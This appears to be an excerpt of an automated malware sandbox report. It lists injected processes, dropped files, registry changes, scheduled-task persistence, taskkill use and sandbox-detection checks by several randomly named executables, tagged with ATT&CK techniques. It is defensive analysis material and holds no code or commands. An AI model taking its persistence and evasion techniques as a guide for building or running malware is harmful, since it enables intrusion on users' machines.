PID 2876 set thread context of 7568	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 4832	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 5092 set thread context of 7976	5092	svchost.exe	svchost.exe
PID 2876 set thread context of 7892	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 8004	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 7652	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 4836	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 7560	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2876 set thread context of 2700	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 8200	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 8340	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 8660	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 2248 set thread context of 8880	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 9128	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
PID 3176 set thread context of 9148	3176	3_5WR4gNXqezOL5zBS5VtCo1.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
PID 2248 set thread context of 8272	2248	1MZWnoWx3JS8tojs1fEEWoJX.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
PID 2876 set thread context of 6564	2876	BLeAlKR616qLUFLzGxcyzC8S.exe	BLeAlKR616qLUFLzGxcyzC8S.exe

Drops file in Program Files directory 64 IoCs

Processes:

PBrowFile15.exeSetup.exefF2IaGniUSVlkByhb5HdVqZc.exetO1Napujos3NVP5mH7LeEBTr.tmp3_5WR4gNXqezOL5zBS5VtCo1.exeSetup.exezveqJik4HncDR0deDGLdZBOn.exemd8_8eus.exe2kCRbRBJ46r8dVGoSSMFrgwO.exeWYeouKlZt4FYfae0LTybVkKh.exeXjENiEUI2XjD4A7fWT8Vf8Av.exeBLeAlKR616qLUFLzGxcyzC8S.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\afqTools\afqTools.exe	PBrowFile15.exe
File created	C:\Program Files (x86)\afqTools\is-IBOUM.tmp	PBrowFile15.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	fF2IaGniUSVlkByhb5HdVqZc.exe
File created	C:\Program Files (x86)\afqTools\is-2G10H.tmp	tO1Napujos3NVP5mH7LeEBTr.tmp
File opened for modification	C:\Program Files (x86)\afqTools\Microsoft.AppCenter.Crashes.dll	PBrowFile15.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\d	3_5WR4gNXqezOL5zBS5VtCo1.exe
File opened for modification	C:\Program Files (x86)\afqTools\Microsoft.AspNet.SignalR.Client.dll	tO1Napujos3NVP5mH7LeEBTr.tmp
File opened for modification	C:\Program Files (x86)\afqTools\Microsoft.AppCenter.Crashes.dll	tO1Napujos3NVP5mH7LeEBTr.tmp
File created	C:\Program Files (x86)\afqTools\is-L4RB4.tmp	tO1Napujos3NVP5mH7LeEBTr.tmp
File opened for modification	C:\Program Files (x86)\afqTools\unins000.dat	tO1Napujos3NVP5mH7LeEBTr.tmp
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	zveqJik4HncDR0deDGLdZBOn.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.jfm	md8_8eus.exe
File created	C:\Program Files (x86)\SmartPDF\SmartPDF\tmp.edb	3_5WR4gNXqezOL5zBS5VtCo1.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	2kCRbRBJ46r8dVGoSSMFrgwO.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\afqTools\Microsoft.AspNet.SignalR.Client.dll	PBrowFile15.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\93.0.4577.63\resources.pak	WYeouKlZt4FYfae0LTybVkKh.exe
File created	C:\Program Files (x86)\afqTools\unins000.dat	PBrowFile15.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	2kCRbRBJ46r8dVGoSSMFrgwO.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	zveqJik4HncDR0deDGLdZBOn.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	zveqJik4HncDR0deDGLdZBOn.exe
File created	C:\Program Files (x86)\afqTools\is-U2Q1B.tmp	PBrowFile15.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	XjENiEUI2XjD4A7fWT8Vf8Av.exe
File opened for modification	C:\Program Files (x86)\afqTools\Microsoft.AppCenter.dll	PBrowFile15.exe
File created	C:\Program Files (x86)\SmartPDF\SmartPDF\d.jfm	3_5WR4gNXqezOL5zBS5VtCo1.exe
File opened for modification	C:\Program Files (x86)\afqTools\Microsoft.AppCenter.Analytics.dll	tO1Napujos3NVP5mH7LeEBTr.tmp
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d	md8_8eus.exe
File opened for modification	C:\Program Files (x86)\afqTools\afqTools.exe	tO1Napujos3NVP5mH7LeEBTr.tmp
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Temp	BLeAlKR616qLUFLzGxcyzC8S.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe	Setup.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	zveqJik4HncDR0deDGLdZBOn.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe	Setup.exe
File created	C:\Program Files (x86)\Company\NewProduct\d.jfm	md8_8eus.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\d.INTEG.RAW	3_5WR4gNXqezOL5zBS5VtCo1.exe
File created	C:\Program Files (x86)\afqTools\is-V1RCP.tmp	tO1Napujos3NVP5mH7LeEBTr.tmp
File created	C:\Program Files (x86)\afqTools\is-CMNIR.tmp	PBrowFile15.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\afqTools\Microsoft.AppCenter.dll	tO1Napujos3NVP5mH7LeEBTr.tmp
File created	C:\Program Files (x86)\afqTools\is-G6NQA.tmp	tO1Napujos3NVP5mH7LeEBTr.tmp
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\Backup	BLeAlKR616qLUFLzGxcyzC8S.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.exe	Setup.exe
File created	C:\Program Files (x86)\Company\NewProduct\d	md8_8eus.exe
File created	C:\Program Files (x86)\afqTools\is-JLEQT.tmp	tO1Napujos3NVP5mH7LeEBTr.tmp
File created	C:\Program Files (x86)\afqTools\is-TK4RA.tmp	tO1Napujos3NVP5mH7LeEBTr.tmp
File created	C:\Program Files (x86)\afqTools\is-JF13J.tmp	PBrowFile15.exe
File created	C:\Program Files (x86)\SmartPDF\SmartPDF\Uninstall.ini	Setup.exe
File created	C:\Program Files (x86)\SmartPDF\SmartPDF\d	3_5WR4gNXqezOL5zBS5VtCo1.exe
File created	C:\Program Files (x86)\afqTools\is-JT0K1.tmp	tO1Napujos3NVP5mH7LeEBTr.tmp
File opened for modification	C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW	md8_8eus.exe
File created	C:\Program Files (x86)\Company\NewProduct\tmp.edb	md8_8eus.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	fF2IaGniUSVlkByhb5HdVqZc.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	zveqJik4HncDR0deDGLdZBOn.exe
File opened for modification	C:\Program Files (x86)\afqTools\Microsoft.AppCenter.Analytics.dll	PBrowFile15.exe
File created	C:\Program Files (x86)\afqTools\is-OFCQK.tmp	PBrowFile15.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe	Setup.exe
File opened for modification	C:\Program Files (x86)\afqTools\unins000.dat	PBrowFile15.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url	Setup.exe
File opened for modification	C:\Program Files (x86)\SmartPDF\SmartPDF\d.jfm	3_5WR4gNXqezOL5zBS5VtCo1.exe

Drops file in Windows directory 5 IoCs

Processes:

WerFault.exeMicrosoftEdge.exeU5I9mFOPf45NpTuQ1h7RX43G.exe

description	ioc	process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	U5I9mFOPf45NpTuQ1h7RX43G.exe
File opened for modification	C:\Windows\Debug\ESE.TXT

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 55 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5248	4412	WerFault.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
5208	4116	WerFault.exe	DneUek6APtftP4C2nqoOEWdR.exe
5632	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
5724	4412	WerFault.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
5716	4116	WerFault.exe	DneUek6APtftP4C2nqoOEWdR.exe
6068	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
4456	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
5764	4412	WerFault.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
5436	4116	WerFault.exe	DneUek6APtftP4C2nqoOEWdR.exe
4796	4412	WerFault.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
5744	4116	WerFault.exe	DneUek6APtftP4C2nqoOEWdR.exe
6248	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
4772	4116	WerFault.exe	DneUek6APtftP4C2nqoOEWdR.exe
5572	4412	WerFault.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
3508	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
7460	4468	WerFault.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
7532	5732	WerFault.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
7844	4412	WerFault.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
7888	4116	WerFault.exe	DneUek6APtftP4C2nqoOEWdR.exe
7976	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
5596	4412	WerFault.exe	d2bjBuk5vNIK6heLnXCL1Exu.exe
7896	4116	WerFault.exe	DneUek6APtftP4C2nqoOEWdR.exe
7332	4832	WerFault.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
644	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
5752	4116	WerFault.exe	DneUek6APtftP4C2nqoOEWdR.exe
8752	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
8796	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
8984	8272	WerFault.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
5536	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
10068	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
10188	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
1980	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
10372	4464	WerFault.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
8552	3036	WerFault.exe	tqdcGmB_fpbbxO0MwBJFw8E1.exe
9688	10832	WerFault.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
14676	3644	WerFault.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
16200	15432	WerFault.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
7668	16472	WerFault.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
18172	16612	WerFault.exe	IMnAFSL6nx167wIjPt_urIjZ.exe
7196	16612	WerFault.exe	IMnAFSL6nx167wIjPt_urIjZ.exe
7984	16612	WerFault.exe	IMnAFSL6nx167wIjPt_urIjZ.exe
17328	16612	WerFault.exe	IMnAFSL6nx167wIjPt_urIjZ.exe
14420	18636	WerFault.exe	U5I9mFOPf45NpTuQ1h7RX43G.exe
19268	19380	WerFault.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
18740	18388	WerFault.exe	RcdQ5yYRxK0NDU2xuKDVFS7p.exe
19744	18388	WerFault.exe	RcdQ5yYRxK0NDU2xuKDVFS7p.exe
21384	18388	WerFault.exe	RcdQ5yYRxK0NDU2xuKDVFS7p.exe
22244	18388	WerFault.exe	RcdQ5yYRxK0NDU2xuKDVFS7p.exe
17104	21244	WerFault.exe	1MZWnoWx3JS8tojs1fEEWoJX.exe
13436	21388	WerFault.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
23696	9256	WerFault.exe	BLeAlKR616qLUFLzGxcyzC8S.exe
25396	17500	WerFault.exe	3_5WR4gNXqezOL5zBS5VtCo1.exe
20092	18388	WerFault.exe	RcdQ5yYRxK0NDU2xuKDVFS7p.exe
26724	18388	WerFault.exe	RcdQ5yYRxK0NDU2xuKDVFS7p.exe
9728	10900

Checks processor information in registry 2 TTPs 13 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

svchost.exe6CU_FkYlVESaKnEOzQVdJpGQ.exeZU3MhwtpnVXVKlAzRxd2j_dn.exefirefox.exedpv0HABGt0NPuNaPflNPt3jl.exe7198790465.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	6CU_FkYlVESaKnEOzQVdJpGQ.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	6CU_FkYlVESaKnEOzQVdJpGQ.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	ZU3MhwtpnVXVKlAzRxd2j_dn.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dpv0HABGt0NPuNaPflNPt3jl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	7198790465.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	7198790465.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	ZU3MhwtpnVXVKlAzRxd2j_dn.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dpv0HABGt0NPuNaPflNPt3jl.exe

Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

11600 schtasks.exe
22144 schtasks.exe
17896 schtasks.exe
3628 schtasks.exe
5332 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

pid process

41788

pid	process
11600	schtasks.exe
22144	schtasks.exe
17896	schtasks.exe
3628	schtasks.exe
5332	schtasks.exe

pid	process
41788

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

chrome.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 9 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
17948	taskkill.exe
15796	taskkill.exe
19260	taskkill.exe
12396	taskkill.exe
18252	taskkill.exe
6052	taskkill.exe
10172	taskkill.exe
7888	taskkill.exe
13140	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

Processes:

BLeAlKR616qLUFLzGxcyzC8S.exeMicrosoftEdge.exebrowser_broker.exeU5I9mFOPf45NpTuQ1h7RX43G.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\OneDrive.exe = "11000"	BLeAlKR616qLUFLzGxcyzC8S.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Internet Explorer\Main	U5I9mFOPf45NpTuQ1h7RX43G.exe

Modifies data under HKEY_USERS 17 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe

Modifies registry class 64 IoCs

Processes:

OneDriveSetup.exeBLeAlKR616qLUFLzGxcyzC8S.exeFileSyncConfig.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\LOCALSERVER32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{AEEBAD4E-3E0A-415B-9B94-19C499CD7B6A}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\InprocServer32\ThreadingModel = "Apartment"	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{2692D1F2-2C7C-4AE0-8E73-8F37736C912D}\ = "IFileSyncClient7"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{AEEBAD4E-3E0A-415B-9B94-19C499CD7B6A}\TypeLib	BLeAlKR616qLUFLzGxcyzC8S.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\TypeLib\{C9F3F6BB-3172-4CD8-9EB7-37C9BE601C87}\1.0\0\win32	BLeAlKR616qLUFLzGxcyzC8S.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{389510b7-9e58-40d7-98bf-60b911cb0ea9}\VersionIndependentProgID\ = "FileSyncCustomStatesProvider.FileSyncCustomStatesProvider"	BLeAlKR616qLUFLzGxcyzC8S.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\OOBERequestHandler.OOBERequestHandler.1	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{71DCE5D6-4B57-496B-AC21-CD5B54EB93FD}\ProgID\ = "SyncEngineFileInfoProvider.SyncEngineFileInfoProvider.1"	BLeAlKR616qLUFLzGxcyzC8S.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{9489FEB2-1925-4D01-B788-6D912C70F7F2}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\ = "IDeviceHeroShotCallback"	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\INTERFACE\{0F872661-C863-47A4-863F-C065C182858A}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{ACDB5DB0-C9D5-461C-BAAA-5DCE0B980E40}	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\CLSID = "{0E5AAE11-A475-4c5b-AB00-C66DE400274E}"	FileSyncConfig.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{B05D37A9-03A2-45CF-8850-F660DF0CBF07}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{A926714B-7BFC-4D08-A035-80021395FFA8}\PROGID	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{9D613F8A-B30E-4938-8490-CB5677701EBF}\TypeLib\ = "{909A6CCD-6810-46C4-89DF-05BE7EB61E6C}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{50487D09-FFA9-45E1-8DF5-D457F646CD83}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{E9DE26A1-51B2-47B4-B1BF-C87059CC02A7}\PROXYSTUBCLSID32	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\ShellFolder\Attributes = "4034920525"	FileSyncConfig.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\TYPELIB\{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}\1.0\FLAGS	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524}\INPROCSERVER32	OneDriveSetup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{0d4e4444-cb20-4c2b-b8b2-94e5656ecae8}\ProxyStubClsid32	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\ = "FileSync ThumbnailProvider"	BLeAlKR616qLUFLzGxcyzC8S.exe
